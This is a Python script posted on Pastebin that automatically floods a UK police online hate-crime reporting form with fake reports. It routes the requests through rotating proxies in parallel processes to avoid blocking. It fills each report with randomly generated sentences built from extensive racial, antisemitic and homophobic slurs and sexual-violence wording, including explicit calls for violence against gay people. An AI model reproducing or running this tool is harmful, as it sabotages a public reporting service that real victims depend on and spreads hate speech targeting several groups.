Advertisement
Guest User

Untitled

a guest
Oct 10th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.39 KB | None | 0 0
  1. import multiprocessing
  2. from random import choice, randint
  3. from re import findall
  4. import requests
  5. from bs4 import BeautifulSoup
  6. from collections import defaultdict
  7.  
  8. try:
  9.     from anybar import AnyBar
  10.  
  11.  
  12.     def notify(colour: str = 'white', msg: str = ''):
  13.         AnyBar().change(colour, msg)
  14.  
  15. except (ImportError, ModuleNotFoundError):
  16.     def notify(*args, **kargs):
  17.         pass
  18.  
  19. slurs = ['Niggers', 'Kikes', 'Juden', 'Yids', 'Oven dodgers', 'The chosen people', 'Bankers', 'Heebs', 'Wogs',
  20.          'Nogs', 'Slants', 'Faggots', 'Monkeys', 'Porch monkeys', 'Basketballs', 'Apes', 'Coons', 'Jigaboos',
  21.          'Niglets', 'Boongs', 'Camel jockeys', 'Sand niggers', 'Towelheads', 'Ragheads', 'Chinks']
  22.  
  23.  
  24. def gen_sentence():
  25.     verbs = ['stole', 'raped', 'ate', 'kiked', 'blacked', 'monkeyed', 'niggered', 'jewed', 'penetrated', 'smoked',
  26.              'popped', 'shot', 'beat', 'jumped', 'molested', 'drove', 'hopped', 'dropped', 'fucked', 'liquored up',
  27.              'snorted', 'organised', 'had homo sex with', "woo-hoo'd", 'ran train on', 'had anal sex with', 'fought',
  28.              'fought naked', 'traumatised', 'licked', 'sucked', 'educated', 'taught', 'bleached', 'yellowed', 'sniffed',
  29.              'touched', 'fingered', 'unzipped', 'tunneled', 'bored', 'drilled', 'ravaged']
  30.  
  31.     adjectives = ['', '', '', '', 'n intoxicated', 'n unhappy', ' high', ' drunk', ' dead', ' black', ' dodgy',
  32.                   ' yellow', ' sweaty', ' tired', ' wholesome', 'n engaged', ' jewish', ' horny', ' holy', ' slutty']
  33.  
  34.     nouns = ['young girl', 'young boy', 'postman', 'milkman', 'dog walker', 'cat walker', 'pilot', 'chef',
  35.              'apple employee', 'Microsoft employee', 'donkey', 'rat', 'doggo', 'car', 'motorcycle', 'lorry', 'teacher',
  36.              'plumber', 'sparky', 'cardio expert', 'queen', 'prince', 'king', 'princess', 'smith', 'gun slinger',
  37.              'pop star', 'jew', 'nobel prize winner', 'German', 'Frenchman', 'sunbather', 'tourist', 'dinosaur']
  38.  
  39.     return f"{choice(slurs)} {choice(verbs)} a{choice(adjectives)} {choice(nouns)}"
  40.  
  41.  
  42. def spammer(i, provided_proxies: list = False):
  43.     link = 'https://beta.met.police.uk/true-vision-report-hate-crime/'
  44.     areas = ['Avon and Somerset Constabulary', 'Bedfordshire Police', 'British Transport Police',
  45.              'Cambridgeshire Constabulary', 'Cheshire Constabulary', 'City of London', 'Cleveland Police',
  46.              'Cumbria Constabulary', 'Derbyshire Constabulary', 'Devon and Cornwall Police', 'Dorset Police',
  47.              'Durham Constabulary,', 'Dyfed-Powys Police Heddlu Dyfed-Powys,', 'Essex Police,',
  48.              'Gloucestershire Constabulary', 'Greater Manchester Police', 'Gwent Police / Heddlu Gwent', 'Hampshire',
  49.              'Hampshire Isle of Wight', 'Hertfordshire Constabulary', 'Humberside Police', 'Isle of Man Police',
  50.              'Kent Police', 'Lancashire Constabulary', 'Leicestershire Constabulary', 'Lincolnshire Police',
  51.              'Merseyside Police', 'Metropolitan Police', 'Norfolk Constabulary', 'Northamptonshire Police',
  52.              'Northumbria Northumberland', 'Northumbria Tyne and Wear', 'North Wales Police Heddlu Gogledd Cymru',
  53.              'North Yorkshire Police', 'Nottinghamshire Police', 'Police Service for Northern Ireland',
  54.              'South Wales Police / Heddlu De Cymru', 'South Yorkshire Police', 'Staffordshire Police',
  55.              'States of Jersey Police', 'Suffolk Constabulary', 'Surrey Police', 'Sussex Police',
  56.              'Thames Valley Berkshire', 'Thames Valley Milton Keynes', 'Thames Valley Oxfordshire',
  57.              'Warwickshire Police', 'West Mercia Herefordshire', 'West Mercia Shropshire',
  58.              'West Mercia Telford and Wrekin', 'West Mercia Worcestershire', 'West Midlands Police',
  59.              'West Yorkshire Police', 'Wiltshire Police']
  60.     motivation = ['Disability', 'Race', 'Religious belief', 'Sexual orientation', 'Transgender', 'Other']
  61.     date = "%02d/%02d/%s"
  62.     proxies = [
  63.  
  64.     ]
  65.     proxies = provided_proxies or list(set((i[0] + ':' + i[1]) for i in proxies))
  66.  
  67.     fails = defaultdict(int)
  68.     while proxies:
  69.         try:
  70.             proxy = choice(proxies)
  71.             proxy = {
  72.                 'http': proxy,
  73.                 'https': proxy
  74.             }
  75.  
  76.             ses = requests.session()
  77.             page = ses.get(link, timeout=3, proxies=proxy)
  78.             if page.status_code != 200:
  79.                 raise requests.ConnectionError
  80.  
  81.             page = BeautifulSoup(page.text, 'html5lib')
  82.             inputs = page.find('form')
  83.             inputs = inputs.find_all('input')
  84.             if not inputs:
  85.                 raise requests.ConnectionError
  86.  
  87.             inputs = {i['name']: i['value'] for i in inputs}
  88.             inputs['PoliceAreaCounty'] = choice(areas)
  89.             inputs['MotivationSelect'] = choice(motivation)
  90.             inputs['VictimOrWitnessSelection'] = 'Victim'
  91.             inputs['DescribeTheIncident'] = gen_sentence()
  92.             inputs['WhyDoYouPerceiveThisToBeMotivatedByHatred?'] = 'FUCK' + choice(slurs)
  93.             inputs['WhatDateDidTheIncidentTakePlace?'] = date % (randint(1, 25), randint(1, 10), randint(2009, 2017))
  94.             inputs['WhatTimeDidTheIncidentTakePlace?_hour?'] = "%20d" % randint(0, 23)
  95.             inputs['WhatTimeDidTheIncidentTakePlace?_minute'] = "%20d" % randint(0, 59)
  96.             inputs['WereYouOrAnyoneElseInjured??_minute'] = 'Yes'
  97.             inputs['IfYesOrNotSure,PleaseSpecify??_minute'] = 'Society'
  98.             inputs['DidAnyLossOrDamageToPropertyResultFromThisIncident?'] = 'No'
  99.             inputs['WereThereAnyWitnesses?'] = 'No'
  100.             inputs['WasTheIncidentRecordedOnCCTV?'] = 'No'
  101.             inputs['HowManyOffendersWereThere?'] = 'Not sure'
  102.             inputs['DoYouKnowThem?'] = 'No'
  103.             inputs['CanYouNameThem?'] = 'No'
  104.             inputs['DidTheOffenderHaveAVehicle?'] = 'No'
  105.             inputs['AreYouWillingToGiveYourDetailsToThePolice?'] = 'No'
  106.             inputs['WhatIsYourGender?'] = 'Female'
  107.             inputs["IfYouSelected'Other'PleaseSpecify?"] = 'Normal, death to faggots'
  108.             inputs['YourEthnicity'] = 'White British'
  109.             inputs['EthnicityOfTheOffender(S)?'] = choice(slurs)
  110.             inputs["PleaseSpecifyHowWeMayContactYou"] = 'Through a third person'
  111.             inputs["WhereDidTheIncidentTakePlace?"] = choice(slurs)
  112.  
  113.             dat = ses.post(link, data=inputs, proxies=proxy)
  114.             if dat.status_code != 200:
  115.                 raise requests.ConnectionError
  116.  
  117.             result = findall('>(\w{3}-\d+-\d+-\w+)<', dat.text)
  118.             if result:
  119.                 print(f'[{i}] Report-ID: {result[0]}, \"{inputs["DescribeTheIncident"]}\"')
  120.                 fails[proxy['http']] -= 1
  121.                 if type(i) is int:
  122.                     spammer(f'S{i}', [proxy['http']] * 4)
  123.                 notify('green')
  124.                 continue
  125.  
  126.             raise requests.ConnectionError
  127.  
  128.         except (requests.ConnectionError, requests.Timeout):
  129.             fails[proxy['http']] += 1
  130.             if fails[proxy['http']]:
  131.                 proxies.remove(proxy['http'])
  132.             notify('red')
  133.             continue
  134.  
  135.         except KeyboardInterrupt:
  136.             return
  137.  
  138.     if type(i) is not int:
  139.         print(f"---- [{i}] end success ----")
  140.  
  141.  
  142. try:
  143.     notify('yellow', 'starting')
  144.  
  145.     multiprocessing.Pool(4).map(spammer, range(4))
  146.     notify('blue', 'Out of proxies')
  147.  
  148. except KeyboardInterrupt:
  149.     notify()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement